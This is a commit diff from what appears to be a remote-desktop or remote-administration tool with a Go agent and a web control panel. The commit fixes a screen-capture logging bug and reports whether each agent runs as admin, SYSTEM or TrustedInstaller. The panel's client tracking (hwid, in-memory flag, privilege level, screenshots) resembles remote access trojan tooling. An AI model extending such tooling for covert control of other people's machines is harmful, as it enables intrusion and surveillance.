fix remote desktop + add system and trusted installer pills
This commit is contained in:
@@ -279,13 +279,14 @@ func captureAllDisplaysAndSend(ctx context.Context, env *rt.Env) error {
|
|||||||
|
|
||||||
quality := jpegQuality()
|
quality := jpegQuality()
|
||||||
frame, _, err := buildFrame(canvas, 0, quality)
|
frame, _, err := buildFrame(canvas, 0, quality)
|
||||||
|
canvasW, canvasH := canvas.Rect.Dx(), canvas.Rect.Dy()
|
||||||
PutRGBA(canvas)
|
PutRGBA(canvas)
|
||||||
canvas = nil
|
canvas = nil
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
frame.Header.FPS = 1
|
frame.Header.FPS = 1
|
||||||
log.Printf("capture: all-displays initial frame %dx%d (%d monitors)", canvas.Rect.Dx(), canvas.Rect.Dy(), n)
|
log.Printf("capture: all-displays initial frame %dx%d (%d monitors)", canvasW, canvasH, n)
|
||||||
return wire.WriteMsg(ctx, env.Conn, frame)
|
return wire.WriteMsg(ctx, env.Conn, frame)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -613,6 +613,7 @@ func runSession(ctx context.Context, cancel context.CancelFunc, conn *websocket.
|
|||||||
hello.GPU = hw.GPU
|
hello.GPU = hw.GPU
|
||||||
hello.RAM = hw.RAM
|
hello.RAM = hw.RAM
|
||||||
hello.IsAdmin = sysinfo.IsAdmin()
|
hello.IsAdmin = sysinfo.IsAdmin()
|
||||||
|
hello.Elevation = sysinfo.Elevation()
|
||||||
|
|
||||||
if err := wire.WriteMsg(ctx, env.Conn, hello); err != nil {
|
if err := wire.WriteMsg(ctx, env.Conn, hello); err != nil {
|
||||||
return fmt.Errorf("send hello: %w", err)
|
return fmt.Errorf("send hello: %w", err)
|
||||||
|
|||||||
@@ -8,3 +8,10 @@ import "os"
|
|||||||
func IsAdmin() bool {
|
func IsAdmin() bool {
|
||||||
return os.Getuid() == 0
|
return os.Getuid() == 0
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func Elevation() string {
|
||||||
|
if os.Getuid() == 0 {
|
||||||
|
return "admin"
|
||||||
|
}
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
|||||||
@@ -2,10 +2,62 @@
|
|||||||
|
|
||||||
package sysinfo
|
package sysinfo
|
||||||
|
|
||||||
import "golang.org/x/sys/windows"
|
import (
|
||||||
|
"unsafe"
|
||||||
|
|
||||||
|
"golang.org/x/sys/windows"
|
||||||
|
)
|
||||||
|
|
||||||
// check current process token to see if we're admin asf
|
|
||||||
func IsAdmin() bool {
|
func IsAdmin() bool {
|
||||||
token := windows.GetCurrentProcessToken()
|
token := windows.GetCurrentProcessToken()
|
||||||
return token.IsElevated()
|
return token.IsElevated()
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func Elevation() string {
|
||||||
|
token := windows.GetCurrentProcessToken()
|
||||||
|
|
||||||
|
tu, err := token.GetTokenUser()
|
||||||
|
if err == nil {
|
||||||
|
sid := tu.User.Sid
|
||||||
|
if isTrustedInstallerSID(sid) {
|
||||||
|
return "trustedinstaller"
|
||||||
|
}
|
||||||
|
if isLocalSystemSID(sid) {
|
||||||
|
return "system"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if token.IsElevated() {
|
||||||
|
return "admin"
|
||||||
|
}
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
|
||||||
|
func isLocalSystemSID(sid *windows.SID) bool {
|
||||||
|
system, err := windows.StringToSid("S-1-5-18")
|
||||||
|
if err != nil {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
return sid.Equals(system)
|
||||||
|
}
|
||||||
|
|
||||||
|
func isTrustedInstallerSID(sid *windows.SID) bool {
|
||||||
|
ti, err := windows.StringToSid("S-1-5-80-956008885-3418522649-1831038044-1853292631-2271478464")
|
||||||
|
if err != nil {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
if sid.Equals(ti) {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
idAuth := (*[6]byte)(unsafe.Pointer(uintptr(unsafe.Pointer(sid)) + 2))
|
||||||
|
if idAuth[5] == 5 { // SECURITY_NT_AUTHORITY
|
||||||
|
subAuthCount := *(*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(sid)) + 1))
|
||||||
|
if subAuthCount >= 1 {
|
||||||
|
firstSub := *(*uint32)(unsafe.Pointer(uintptr(unsafe.Pointer(sid)) + 8))
|
||||||
|
if firstSub == 80 { // SECURITY_SERVICE_ID_BASE_RID
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|||||||
@@ -20,6 +20,7 @@ type Hello struct {
|
|||||||
GPU string `msgpack:"gpu,omitempty"`
|
GPU string `msgpack:"gpu,omitempty"`
|
||||||
RAM string `msgpack:"ram,omitempty"`
|
RAM string `msgpack:"ram,omitempty"`
|
||||||
IsAdmin bool `msgpack:"isAdmin,omitempty"`
|
IsAdmin bool `msgpack:"isAdmin,omitempty"`
|
||||||
|
Elevation string `msgpack:"elevation,omitempty"`
|
||||||
}
|
}
|
||||||
|
|
||||||
type EnrollmentChallenge struct {
|
type EnrollmentChallenge struct {
|
||||||
|
|||||||
@@ -434,6 +434,16 @@ p {
|
|||||||
color: #fef08a;
|
color: #fef08a;
|
||||||
border-color: rgba(234, 179, 8, 0.45);
|
border-color: rgba(234, 179, 8, 0.45);
|
||||||
}
|
}
|
||||||
|
.pill-system {
|
||||||
|
background: rgba(239, 68, 68, 0.18);
|
||||||
|
color: #fca5a5;
|
||||||
|
border-color: rgba(239, 68, 68, 0.45);
|
||||||
|
}
|
||||||
|
.pill-ti {
|
||||||
|
background: rgba(168, 85, 247, 0.18);
|
||||||
|
color: #d8b4fe;
|
||||||
|
border-color: rgba(168, 85, 247, 0.45);
|
||||||
|
}
|
||||||
|
|
||||||
/* Hardware info toggle & panel */
|
/* Hardware info toggle & panel */
|
||||||
.pill-hw {
|
.pill-hw {
|
||||||
|
|||||||
@@ -16,7 +16,7 @@ function escapeHtml(text) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
function cardDigest(c) {
|
function cardDigest(c) {
|
||||||
return `${c.id}|${!!c.online}|${c.lastSeen}|${c.pingMs}|${c.host}|${c.user}|${c.os}|${c.arch}|${c.version}|${c.monitors}|${c.thumbnail}|${c.country}|${c.nickname}|${c.customTag}|${c.customTagNote}|${!!c.bookmarked}|${!!c.isAdmin}|${c.cpu}|${c.gpu}|${c.ram}|${c.hwid}|${c.disconnectReason}|${c.disconnectDetail}`;
|
return `${c.id}|${!!c.online}|${c.lastSeen}|${c.pingMs}|${c.host}|${c.user}|${c.os}|${c.arch}|${c.version}|${c.monitors}|${c.thumbnail}|${c.country}|${c.nickname}|${c.customTag}|${c.customTagNote}|${!!c.bookmarked}|${!!c.isAdmin}|${c.elevation}|${c.cpu}|${c.gpu}|${c.ram}|${c.hwid}|${c.disconnectReason}|${c.disconnectDetail}`;
|
||||||
}
|
}
|
||||||
|
|
||||||
export function createRenderer({
|
export function createRenderer({
|
||||||
@@ -422,6 +422,8 @@ export function createRenderer({
|
|||||||
${client.online ? "Online" : "Offline"}
|
${client.online ? "Online" : "Offline"}
|
||||||
</span>
|
</span>
|
||||||
${client.isAdmin ? `<span class="pill pill-admin"><i class="fa-solid fa-shield-halved"></i> Admin</span>` : ""}
|
${client.isAdmin ? `<span class="pill pill-admin"><i class="fa-solid fa-shield-halved"></i> Admin</span>` : ""}
|
||||||
|
${client.elevation === "system" ? `<span class="pill pill-system"><i class="fa-solid fa-gear"></i> SYSTEM</span>` : ""}
|
||||||
|
${client.elevation === "trustedinstaller" ? `<span class="pill pill-ti"><i class="fa-solid fa-lock"></i> TrustedInstaller</span>` : ""}
|
||||||
${!client.online && client.disconnectReason && client.disconnectReason !== "normal" ? (() => {
|
${!client.online && client.disconnectReason && client.disconnectReason !== "normal" ? (() => {
|
||||||
const iconMap = { panic: "fa-skull-crossbones", crash: "fa-skull", timeout: "fa-clock", network: "fa-plug-circle-xmark" };
|
const iconMap = { panic: "fa-skull-crossbones", crash: "fa-skull", timeout: "fa-clock", network: "fa-plug-circle-xmark" };
|
||||||
const colorMap = { panic: "text-red-400", crash: "text-red-400", timeout: "text-amber-400", network: "text-slate-400" };
|
const colorMap = { panic: "text-red-400", crash: "text-red-400", timeout: "text-amber-400", network: "text-slate-400" };
|
||||||
|
|||||||
@@ -23,6 +23,7 @@ export function digestData(data, { page, pageSize, searchTerm, sort }) {
|
|||||||
arch: c.arch,
|
arch: c.arch,
|
||||||
os: c.os,
|
os: c.os,
|
||||||
monitors: c.monitors,
|
monitors: c.monitors,
|
||||||
|
elevation: c.elevation,
|
||||||
})) || [];
|
})) || [];
|
||||||
return JSON.stringify({
|
return JSON.stringify({
|
||||||
page,
|
page,
|
||||||
|
|||||||
@@ -106,6 +106,9 @@ try {
|
|||||||
try {
|
try {
|
||||||
db.run(`ALTER TABLE clients ADD COLUMN disconnect_detail TEXT`);
|
db.run(`ALTER TABLE clients ADD COLUMN disconnect_detail TEXT`);
|
||||||
} catch {}
|
} catch {}
|
||||||
|
try {
|
||||||
|
db.run(`ALTER TABLE clients ADD COLUMN elevation TEXT`);
|
||||||
|
} catch {}
|
||||||
|
|
||||||
db.run(`
|
db.run(`
|
||||||
CREATE TABLE IF NOT EXISTS banned_ips (
|
CREATE TABLE IF NOT EXISTS banned_ips (
|
||||||
@@ -421,8 +424,8 @@ export function upsertClientRow(
|
|||||||
) {
|
) {
|
||||||
const now = partial.lastSeen ?? Date.now();
|
const now = partial.lastSeen ?? Date.now();
|
||||||
db.run(
|
db.run(
|
||||||
`INSERT INTO clients (id, hwid, role, ip, host, os, arch, version, user, nickname, custom_tag, custom_tag_note, monitors, country, last_seen, online, ping_ms, enrollment_status, public_key, key_fingerprint, cpu, gpu, ram, is_admin)
|
`INSERT INTO clients (id, hwid, role, ip, host, os, arch, version, user, nickname, custom_tag, custom_tag_note, monitors, country, last_seen, online, ping_ms, enrollment_status, public_key, key_fingerprint, cpu, gpu, ram, is_admin, elevation)
|
||||||
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, COALESCE(?, 0))
|
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, COALESCE(?, 0), ?)
|
||||||
ON CONFLICT(id) DO UPDATE SET
|
ON CONFLICT(id) DO UPDATE SET
|
||||||
hwid=COALESCE(excluded.hwid, clients.hwid),
|
hwid=COALESCE(excluded.hwid, clients.hwid),
|
||||||
role=COALESCE(excluded.role, clients.role),
|
role=COALESCE(excluded.role, clients.role),
|
||||||
@@ -446,7 +449,8 @@ export function upsertClientRow(
|
|||||||
cpu=COALESCE(excluded.cpu, clients.cpu),
|
cpu=COALESCE(excluded.cpu, clients.cpu),
|
||||||
gpu=COALESCE(excluded.gpu, clients.gpu),
|
gpu=COALESCE(excluded.gpu, clients.gpu),
|
||||||
ram=COALESCE(excluded.ram, clients.ram),
|
ram=COALESCE(excluded.ram, clients.ram),
|
||||||
is_admin=COALESCE(excluded.is_admin, clients.is_admin)
|
is_admin=COALESCE(excluded.is_admin, clients.is_admin),
|
||||||
|
elevation=COALESCE(excluded.elevation, clients.elevation)
|
||||||
`,
|
`,
|
||||||
partial.id,
|
partial.id,
|
||||||
partial.hwid ?? partial.id,
|
partial.hwid ?? partial.id,
|
||||||
@@ -472,6 +476,7 @@ export function upsertClientRow(
|
|||||||
partial.gpu ?? null,
|
partial.gpu ?? null,
|
||||||
partial.ram ?? null,
|
partial.ram ?? null,
|
||||||
partial.isAdmin !== undefined ? (partial.isAdmin ? 1 : 0) : null,
|
partial.isAdmin !== undefined ? (partial.isAdmin ? 1 : 0) : null,
|
||||||
|
partial.elevation ?? null,
|
||||||
);
|
);
|
||||||
|
|
||||||
if (partial.hwid) {
|
if (partial.hwid) {
|
||||||
@@ -731,7 +736,7 @@ export function listClients(filters: ListFilters): ListResult {
|
|||||||
|
|
||||||
const rows = db
|
const rows = db
|
||||||
.query<any>(
|
.query<any>(
|
||||||
`SELECT id, hwid, role, host, os, arch, version, user, nickname, custom_tag as customTag, custom_tag_note as customTagNote, monitors, country, last_seen as lastSeen, online, ping_ms as pingMs, bookmarked, enrollment_status as enrollmentStatus, public_key as publicKey, key_fingerprint as keyFingerprint, cpu, gpu, ram, is_admin as isAdmin, disconnect_reason as disconnectReason, disconnect_detail as disconnectDetail
|
`SELECT id, hwid, role, host, os, arch, version, user, nickname, custom_tag as customTag, custom_tag_note as customTagNote, monitors, country, last_seen as lastSeen, online, ping_ms as pingMs, bookmarked, enrollment_status as enrollmentStatus, public_key as publicKey, key_fingerprint as keyFingerprint, cpu, gpu, ram, is_admin as isAdmin, elevation, disconnect_reason as disconnectReason, disconnect_detail as disconnectDetail
|
||||||
FROM clients
|
FROM clients
|
||||||
${whereSql}
|
${whereSql}
|
||||||
${orderBy}
|
${orderBy}
|
||||||
@@ -764,6 +769,7 @@ export function listClients(filters: ListFilters): ListResult {
|
|||||||
gpu: c.gpu || null,
|
gpu: c.gpu || null,
|
||||||
ram: c.ram || null,
|
ram: c.ram || null,
|
||||||
isAdmin: c.isAdmin === 1,
|
isAdmin: c.isAdmin === 1,
|
||||||
|
elevation: c.elevation || null,
|
||||||
disconnectReason: c.disconnectReason || null,
|
disconnectReason: c.disconnectReason || null,
|
||||||
disconnectDetail: c.disconnectDetail || null,
|
disconnectDetail: c.disconnectDetail || null,
|
||||||
thumbnail: getThumbnail(c.id),
|
thumbnail: getThumbnail(c.id),
|
||||||
|
|||||||
@@ -29,6 +29,7 @@ export function handleClientsRequest(req: Request): Response {
|
|||||||
return {
|
return {
|
||||||
...item,
|
...item,
|
||||||
isAdmin: live.isAdmin ?? item.isAdmin,
|
isAdmin: live.isAdmin ?? item.isAdmin,
|
||||||
|
elevation: live.elevation ?? item.elevation,
|
||||||
...(live.monitorInfo?.length ? {
|
...(live.monitorInfo?.length ? {
|
||||||
monitors: live.monitorInfo.length,
|
monitors: live.monitorInfo.length,
|
||||||
monitorInfo: live.monitorInfo,
|
monitorInfo: live.monitorInfo,
|
||||||
|
|||||||
@@ -29,6 +29,7 @@ export type ClientInfo = {
|
|||||||
gpu?: string;
|
gpu?: string;
|
||||||
ram?: string;
|
ram?: string;
|
||||||
isAdmin?: boolean;
|
isAdmin?: boolean;
|
||||||
|
elevation?: string;
|
||||||
enrollmentStatus?: EnrollmentStatus;
|
enrollmentStatus?: EnrollmentStatus;
|
||||||
publicKey?: string;
|
publicKey?: string;
|
||||||
keyFingerprint?: string;
|
keyFingerprint?: string;
|
||||||
|
|||||||
@@ -90,6 +90,7 @@ export function handleHello(
|
|||||||
info.monitorInfo = (payload as any).monitorInfo || info.monitorInfo;
|
info.monitorInfo = (payload as any).monitorInfo || info.monitorInfo;
|
||||||
info.inMemory = !!(payload as any).inMemory;
|
info.inMemory = !!(payload as any).inMemory;
|
||||||
info.isAdmin = !!(payload as any).isAdmin;
|
info.isAdmin = !!(payload as any).isAdmin;
|
||||||
|
info.elevation = typeof (payload as any).elevation === "string" ? (payload as any).elevation : info.elevation;
|
||||||
info.cpu = (payload as any).cpu || info.cpu;
|
info.cpu = (payload as any).cpu || info.cpu;
|
||||||
info.gpu = (payload as any).gpu || info.gpu;
|
info.gpu = (payload as any).gpu || info.gpu;
|
||||||
info.ram = (payload as any).ram || info.ram;
|
info.ram = (payload as any).ram || info.ram;
|
||||||
@@ -119,6 +120,7 @@ export function handleHello(
|
|||||||
gpu: info.gpu,
|
gpu: info.gpu,
|
||||||
ram: info.ram,
|
ram: info.ram,
|
||||||
isAdmin: info.isAdmin,
|
isAdmin: info.isAdmin,
|
||||||
|
elevation: info.elevation,
|
||||||
lastSeen: info.lastSeen,
|
lastSeen: info.lastSeen,
|
||||||
online: 1,
|
online: 1,
|
||||||
});
|
});
|
||||||
|
|||||||
Reference in New Issue
Block a user